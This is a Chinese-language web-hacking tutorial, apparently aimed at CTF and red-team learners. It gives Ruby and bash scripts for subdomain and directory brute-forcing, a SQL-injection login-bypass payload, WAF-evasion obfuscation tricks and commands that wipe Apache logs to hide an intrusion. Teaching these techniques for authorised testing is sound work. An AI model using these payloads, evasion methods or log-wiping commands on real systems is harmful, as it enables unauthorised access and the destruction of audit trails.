一、从架构谈起:Web应用为何容易被攻破?

在很多CTF比赛和实战中,Web应用总是攻击的重点目标。这并不是巧合,而是由其架构和开发模式决定的。为了理解如何攻破一个网站,我们需要先了解它的工作方式。

典型的Web应用架构分为三大层:

  1. 前端展示层:HTML、CSS、JavaScript,用来和用户交互。
  2. 服务端逻辑层:通常由PHP、Ruby、Python等语言编写,负责处理请求并返回数据。
  3. 数据库持久层:存储用户数据、日志等关键信息,常用MySQL、PostgreSQL、MongoDB等。

这么分层的架构看起来很完美,但每一层都可能存在漏洞:

  • 前端可能存在 XSS(跨站脚本攻击),允许攻击者注入恶意脚本。
  • 服务端容易出现 SQL注入、文件上传、远程代码执行(RCE) 等漏洞。
  • 数据库如果配置不当,可能被直接暴力破解或利用默认账户访问。

对于攻击者来说,这些漏洞就像摆在桌子上的钥匙,我们需要做的就是找到正确的方向并利用它。

---

二、信息是武器:攻破网站前的侦查

在攻击前,信息收集是关键的一步。这一步的目标是尽可能多地了解目标系统的情况,比如域名、子域名、服务器IP、开放端口、服务版本等。以下是一些常用的技术手段和工具。

子域名枚举

子域名往往包含敏感信息,比如管理后台、测试环境等。我们可以用工具自动化枚举,或者通过DNS暴力破解获取。

Ruby实现子域名爆破的简单代码: <pre><code class="language-ruby">require &#039;resolv&#039;

domain = &quot;example.com&quot; # 修改为目标域名 subdomains = [&quot;www&quot;, &quot;admin&quot;, &quot;test&quot;, &quot;api&quot;, &quot;dev&quot;, &quot;staging&quot;]

subdomains.each do |sub| begin ip = Resolv.getaddress(&quot;#{sub}.#{domain}&quot;) puts &quot;[+] Found: #{sub}.#{domain} -&gt; #{ip}&quot; rescue puts &quot;[-] Not found: #{sub}.#{domain}&quot; end end</code></pre>

黑客示意图

脚本运行后,会尝试解析指定的子域名,并输出有效的结果。找到子域名后,可以用浏览器访问,进一步检查是否存在开放的管理后台或测试系统。

目录和文件爆破

网站目录中可能隐藏敏感文件,比如.git目录、config.php配置文件等。我们可以用字典枚举的方法来发现这些目录。

黑客示意图

Shell脚本实现目录爆破: <pre><code class="language-bash">#!/bin/bash

target=&quot;http://example.com&quot; # 目标网站 wordlist=&quot;/usr/share/wordlists/dirs.txt&quot; # 字典路径

while read -r line; do url=&quot;$target/$line&quot; status=$(curl -o /dev/null -s -w &quot;%{http_code}&quot; &quot;$url&quot;) if [ &quot;$status&quot; == &quot;200&quot; ]; then echo &quot;[+] Found: $url&quot; fi done &lt; &quot;$wordlist&quot;</code></pre>

这个脚本会对每个目录进行HTTP请求,如果返回状态码为200,则表示目录存在。

---

三、SQL注入:经典漏洞的现代玩法

SQL注入是Web攻击中最经典的漏洞之一,但它从未过时。现代的SQL注入玩法已经从简单的UNION SELECT语句,进化到了盲注、时间注入甚至DNS注入。

漏洞成因

SQL注入的根本原因是开发者在拼接SQL语句时,没有对用户输入进行严格过滤。例如: <pre><code class="language-ruby"># 漏洞代码示例 require &#039;mysql2&#039;

client = Mysql2::Client.new(:host =&gt; &quot;localhost&quot;, :username =&gt; &quot;root&quot;, :database =&gt; &quot;test&quot;) username = params[:username] # 用户输入 password = params[:password]

query = &quot;SELECT * FROM users WHERE username = &#039;#{username}&#039; AND password = &#039;#{password}&#039;&quot; result = client.query(query)</code></pre>

如果攻击者输入: <pre><code>username=admin&#039; -- password=anything</code></pre> SQL语句会变成: <pre><code class="language-sql">SELECT * FROM users WHERE username = &#039;admin&#039; -- &#039; AND password = &#039;anything&#039;</code></pre> 这里的--会注释掉后面的语句,从而绕过密码校验。

实战利用

如果我们发现一个网站存在SQL注入漏洞,可通过以下步骤进行攻击:

  1. 判断注入点:构造简单的Payload,比如' or 1=1 --,测试是否返回异常或错误提示。
  2. 数据库信息探测:通过UNION SELECT语句获取数据库名称和版本。
  3. 表名和字段名爆破:利用information_schema库获取表结构。
  4. 数据提取:最终读取敏感数据,比如用户账号、密码哈希等。

黑客示意图

---

四、绕过WAF的艺术

现代Web应用通常会部署WAF(Web应用防火墙)来拦截攻击流量。为了做到真正“隐形”,我们需要一些高级技巧。

Payload混淆

传统Payload很容易被WAF拦截,比如: <pre><code>admin&#039; OR 1=1 --</code></pre> 我们可以通过混淆、编码来绕过:

  1. Unicode编码:将Payload转成Unicode形式,比如admin%27%20OR%201%3D1%20--
  2. 大小写变换:对SQL关键字进行大小写变换,比如oRSeLeCT
  3. 空白符替换:用注释符//替代空格,比如admin'//OR//1=1//--

动态生成Payload

我们可以写一个Ruby脚本,自动化生成混淆后的Payload: <pre><code class="language-ruby">def obfuscate_payload(payload)

插入随机大小写

payload.chars.map { |c| rand(2).zero? ? c.upcase : c.downcase }.join end

original_payload = &quot;admin&#039; OR 1=1 --&quot; puts &quot;Original Payload: #{original_payload}&quot; puts &quot;Obfuscated Payload: #{obfuscate_payload(original_payload)}&quot;</code></pre>

运行后,你会看到随机大小写的SQL注入Payload,有助于绕过静态规则检测。

---

五、痕迹清理与反侦察

攻击之后,如何不留下痕迹是每个红队需要考虑的问题。在日志中隐藏攻击行为,或者干脆删除日志,是常见的处理方式。

日志清理

如果我们获得了目标服务器的shell权限,可以通过以下命令清理日志: <pre><code class="language-bash"># 清空Apache访问日志和错误日志 echo &gt; /var/log/apache2/access.log echo &gt; /var/log/apache2/error.log</code></pre>

但需要注意的是,安全团队可以通过日志备份或远程日志服务器恢复记录,因此完全清理所有痕迹并不现实。

---

六、一些心得分享

在CTF和实战中,攻破网站的关键往往是细心和耐心。以下是一些经验之谈:

  1. 重视信息收集:很多时候,突破的起点就是一个隐藏的子域名或配置文件。
  2. 利用自动化工具:工具可以帮助节省时间,但不要盲目依赖,手工分析是关键。
  3. 绕过防御措施:现代应用的防御越来越强,绕过WAF和EDR需要真正掌握攻击原理。

攻击是技术与策略的结合。希望这篇文章能启发你,在合法授权的前提下不断提高自己的技能。